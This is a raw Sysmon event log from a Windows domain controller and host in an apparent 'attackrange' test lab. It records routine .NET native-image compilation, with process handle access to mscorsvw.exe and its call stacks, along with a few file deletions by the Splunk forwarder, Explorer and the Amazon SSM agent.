14:44:46.379{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5E-613B-4009-00000000F001}7084C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.354{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F5E-613B-4009-00000000F001}7084C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.354{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5E-613B-4009-00000000F001}7084C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.204{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5E-613B-3F09-00000000F001}224C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.194{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5E-613B-3F09-00000000F001}224C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.194{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5E-613B-3F09-00000000F001}224C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.033{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5E-613B-3E09-00000000F001}7132C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.023{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5E-613B-3E09-00000000F001}7132C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.023{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5E-613B-3E09-00000000F001}7132C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000013956Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:47.161{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=60C2CACB99898E11635F6597D2A5524F,SHA256=DF5141E2798845B21DEBD14E4A758D7B6D0C1A790BEC87C48BFEFAF41F623CFD,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.947{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5F-613B-5209-00000000F001}4028C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.927{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F5F-613B-5209-00000000F001}4028C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.927{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5F-613B-5209-00000000F001}4028C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.856{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5F-613B-5109-00000000F001}1940C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.836{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F5F-613B-5109-00000000F001}1940C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.836{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5F-613B-5109-00000000F001}1940C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.826{7BD73061-6D0F-613B-9406-00000000F001}4480ATTACKRANGE\AdministratorC:\Windows\Explorer.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000016.dbMD5=21475B4B6D96908BE413B85EAE24E4C8,SHA256=340B4A2B42AFA2C16B810CE06299C9A3F7B17DB49ECB5D9FB7085125C0B3C8D3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.626{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5F-613B-5009-00000000F001}7036C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.606{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F5F-613B-5009-00000000F001}7036C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.606{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5F-613B-5009-00000000F001}7036C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.546{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5F-613B-4F09-00000000F001}4896C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.536{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F5F-613B-4F09-00000000F001}4896C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.526{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5F-613B-4F09-00000000F001}4896C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.468{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5F-613B-4E09-00000000F001}3740C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.456{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-040MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 